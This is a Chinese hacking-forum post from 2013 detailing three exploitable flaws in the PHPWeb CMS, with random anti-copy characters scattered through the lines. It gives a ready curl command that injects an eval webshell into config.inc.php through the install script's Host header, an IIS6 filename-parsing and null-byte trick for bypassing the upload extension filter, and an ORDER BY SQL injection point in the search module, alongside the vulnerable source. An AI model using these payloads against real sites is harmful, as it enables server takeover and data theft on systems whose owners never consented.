找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2445|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:' t8 s6 X% ~4 D

5 p- N; _$ u, U之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
4 p# {! s3 f  m- A' n
; p: H5 a, \9 \7 Q2 r鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
/ ~2 f( Y# e- j( K: i9 r4 A, V, K鸡肋2: 有一定安全常识的站长都会删掉 install 目录
& s6 a9 J& {4 V  n: O
, U' [; S' X+ M9 B. x7 c虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响! C- m9 n* O9 w" u' @+ ?
( p: s' C" d& l5 l: [4 F6 f
分析:
+ ~& K; ?6 e( i( t: `
% }% W/ W7 C* _9 p: R
% _+ ~/ g, V' c* ~1 f# L$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
. s7 x! R. Z/ Y9 |/ u 3 O( O, x; F2 J/ j* I4 N, e" Y, h# T
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);2 o+ d8 E6 U- S  Y
                                            $filestr=str_replace(" ","",$filestr);
# t8 ]. n& s$ F                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);9 Y0 Z2 ~6 f/ u5 S3 _3 W
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);6 Q$ ]$ W  f+ E4 Q; B$ a
                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
+ @  |) j& l1 L1 m. F                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
' p/ J* @2 `" E7 v' w9 o                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);8 C( G/ V4 j# T7 S
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);' _- i  h. n0 z9 Q2 m2 x: S2 u
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);- P5 C# O6 x# Z- ]& p8 m2 ^8 M

. s% Q' \# A0 f7 @3 D0 [: u  \) d                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
% x) H5 w) Z+ e8 z4 L  c% }$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
6 x& X8 G9 k, } " E3 y9 ~( U, o) r. n
poc:
% E( ?  s# m# [, ]$ w2 a 6 v$ c- y& _  I
?; A1 h4 m1 n$ p6 P( z. M
1, B' w, ]# h; ~' i- ?7 Z9 v1 ^" C
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"/ u9 J+ L7 f( x& y; ?
shell地址: /config.inc.php
5 l. w7 B. p- G) L# F$ B, @: t1 Y跟之前的 phpcms一样 需要远程数据库. y" J" h/ ~5 q! f
, C3 G2 I5 I$ h  u' F4 x, ^
——————————————————–( S: l3 q* n6 e
上传漏洞(需要进后台):/ G! D$ Y8 q9 a  n7 k: j" M- y
漏洞文件: /kedit/upload_cgi/upload.php
+ U, {+ D9 B3 |9 d& b这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
: R$ Y: y9 F4 b' f 6 k: q  \3 o; v" X+ v" o$ c$ i$ i

2 y3 ^+ g# d: ^& R3 Y9 V<?php
: h, m; I1 t7 E0 s  |8 n& C    define("ROOTPATH", "../../");+ }2 V, _: I$ X/ @
    include(ROOTPATH."includes/admin.inc.php");
# Y- }9 Z7 ]% S* n  Y( T    NeedAuth(0);5 T2 s* t4 N. A0 h" @* `
( K/ m3 B: ^" o( Y& t! x6 x
    $dt=date("Ymd",time());
+ [# Y+ R1 m$ e4 x    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){4 \( {% T+ z0 i+ x9 D
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
4 |" s: @9 u: p% u6 P4 C5 K    }
# I9 a1 _3 D3 R" {
' r! I9 n, z) S+ i    //文件保存目录路径) l: r( N' ]/ M  r! ~3 `
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';( |# M: @/ t9 w. e* U- n1 F# j! \2 m
    echo $save_path;
! H8 u# o0 E1 C# ]    //文件保存目录URL
* R% g5 r: W7 f; O1 e    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
) |' u1 S7 S; L: H/ T. ^ 7 z0 Q- G3 |5 w9 \* h
    //定义允许上传的文件扩展名
" i% m4 Y5 G- L" Z" b4 j* Y    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀; Q, c  M4 e: g
% M$ P" M2 k0 d6 D$ a& O
    //最大文件大小" n& S' T8 \. A3 x
    $max_size = 1000000;7 j' T& Q3 x! \4 l

  V2 b! G9 j+ j: Z+ d    //更改目录权限2 Q5 W! R2 e7 ]8 x
    @mkdir($save_path, 0777);7 n6 P) N  S- d/ {5 E

' G8 w, [4 p+ b) ^    //文件的全部路径3 V$ n+ X1 S3 N
    $file_path = $save_path.$_POST['fileName'];   //保存文件名; H# D7 r0 c! V3 V1 I( Q9 h% o, A

0 X9 E8 k! p( P- R! o    //文件URL
* P' j! Y  Z* ]' B3 i    $file_url = $save_url.$_POST['fileName'];: x9 C, k2 {" \3 n* q( J
//有上传文件时+ H0 Y  v& j4 ^
    if (empty($_FILES) === false) {
, `. o& E1 Q0 m( H% m- _+ v& n& Y1 P
' x, i: R  R/ d6 X+ D# u9 V            //原文件名
0 j- V0 s" N) [: ^8 a$ e* b- b( X            $file_name = $_FILES['fileData']['name'];
2 T! ^& C0 G* h. n            //服务器上临时文件名* [% r; t2 E% _# u) G
            $tmp_name = $_FILES['fileData']['tmp_name'];, z3 @4 A. d" c! E: m
            //文件大小
% }" M" I% L4 a: {$ @2 T3 r            $file_size = $_FILES['fileData']['size'];: G+ s' H% Y+ d
            //检查目录
6 S$ r- k  H3 \& y            if (@is_dir($save_path) === false) {/ _. t: c# `4 S8 O1 J
                    alert("上传目录不存在。");
& P0 f1 g1 M' P% M            }
" v, n3 F9 U! n) O' A2 g            //检查目录写权限* h, z- f) |$ E4 r5 E. o
            if (@is_writable($save_path) === false) {+ ~2 l9 k5 J2 y5 `1 P# a
                    alert("上传目录没有写权限。");; A: s0 Y8 C7 W% M
            }0 R- x. g) V: H# ]6 B9 Z7 z$ D
            //检查是否已上传
# U- b2 ?" @" Y- X/ \, p            if (@is_uploaded_file($tmp_name) === false) {
; p" K6 D) t! G% [2 K                    alert("临时文件可能不是上传文件。");
( i: S+ w  W) \' l            }) q2 Q5 K: t5 a, H# B# r
            //检查文件大小) V' n3 P$ F+ v1 K
            if ($file_size > $max_size) {
9 m* j# U2 o; c3 ^: u                    alert("上传文件大小超过限制。");
( r) i1 P! d1 _            }
9 H. p$ Q- N5 O6 L7 E; q$ s* }7 S            //获得文件扩展名
: d8 H- T! S2 a* b            $temp_arr = explode(".", $_POST['fileName']);
; L. b4 X$ h4 c4 i: o            $file_ext = array_pop($temp_arr);
8 ]8 [- B4 e6 S5 {            $file_ext = trim($file_ext);7 }0 e8 S# D( z! c% j8 X2 G
            $file_ext = strtolower($file_ext);
5 Z6 d0 \6 k% w/ J3 G* Q6 y : _6 g0 v8 U: _9 G
            //检查扩展名   
+ Q4 E: a: N* j  v) T  ^% n: O5 ^            if (in_array($file_ext, $ext_arr) === false) {     
& i' y2 S% s* Q; o6 ]                    alert("上传文件扩展名是不允许的扩展名。");8 h8 q# z/ u' T% }
            }
9 K2 M; f- g! e! [$ w# ?
1 ^( j, Z" A( Y( {7 t% ?            //移动文件   , v- a8 W6 X/ S" l4 o' q4 a  N
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
: R/ d. O/ G3 X6 O8 j3 |            if (move_uploaded_file($tmp_name, $file_path) === false) {
$ F1 S- z4 x. z/ f: q                    alert("上传文件失败。");
2 h1 k. G% H; c; j7 p- x" i            }
8 o. }6 Z4 ?% n- Q1 @# ^* E
, L1 {/ a  _. r            @chmod($file_path,0666);
5 G1 w# h' H/ m
! u4 g+ i! X) x& t1 ]! A' M    ?>
5 g: ]! j8 ]/ x. r  S* G* r- E. M抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227: D0 M+ q) A! U- u( S. b0 g
8 l) F3 F# q! o4 J
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过0 _( B8 C0 a0 v6 n

: B9 O* l  Q$ O9 T——————————————————
  F! ?4 v: C- `& o! ]注入漏洞:; j  G! Q1 w% K/ S
漏洞文件:search/module/search.php' L1 L# }3 E; K% T1 b( E
/search/index.php?key=1&myord=1 [sqlinjection]% t6 P8 H( q) a% k! M2 @( r

* d2 L4 y: s9 W 4 w' U  C' j) x* x  o
<?php
$ x2 B. k* e8 |3 ^* m   //       ... 省略 n 行...: k6 a$ A. c6 j: j7 R
   //第18行:
/ m- }; u* j/ D: g2 ]1 Z           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响$ r0 S7 k# ?. t& l1 w2 \  P& p
           $page=htmlspecialchars($_GET["page"]);
" k) a% f6 F3 H7 z) i1 [' u; x5 a* m           $myord=htmlspecialchars($_GET["myord"]);' k- p6 q" B+ {' {
4 C9 y: R' P1 X- @+ I
   //       ... 省略 n 行..., }2 s- m1 z+ k0 l4 j" m
   $key,$myord 两个参数带入查询
9 f2 I) Z( y: ^' Q  J/ s. m   //第47行 $key:0 ^5 U1 Q  h0 N1 m4 Y( Q7 _( B

9 h& ^5 _* r3 K% Q- d$ l   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..# |2 O, y  k  c

$ C* m5 E( H5 I# F# ], M2 x   //第197行 $myord3 e& ^0 T+ e- J0 w1 d8 X2 K% m
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入: q2 f  U% C& ^! I# f- w! V. ~- p

6 S' A; L( W$ K4 R  f, m5 @8 X   ?>
: v  U$ ^; f, r; `$ S/ q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表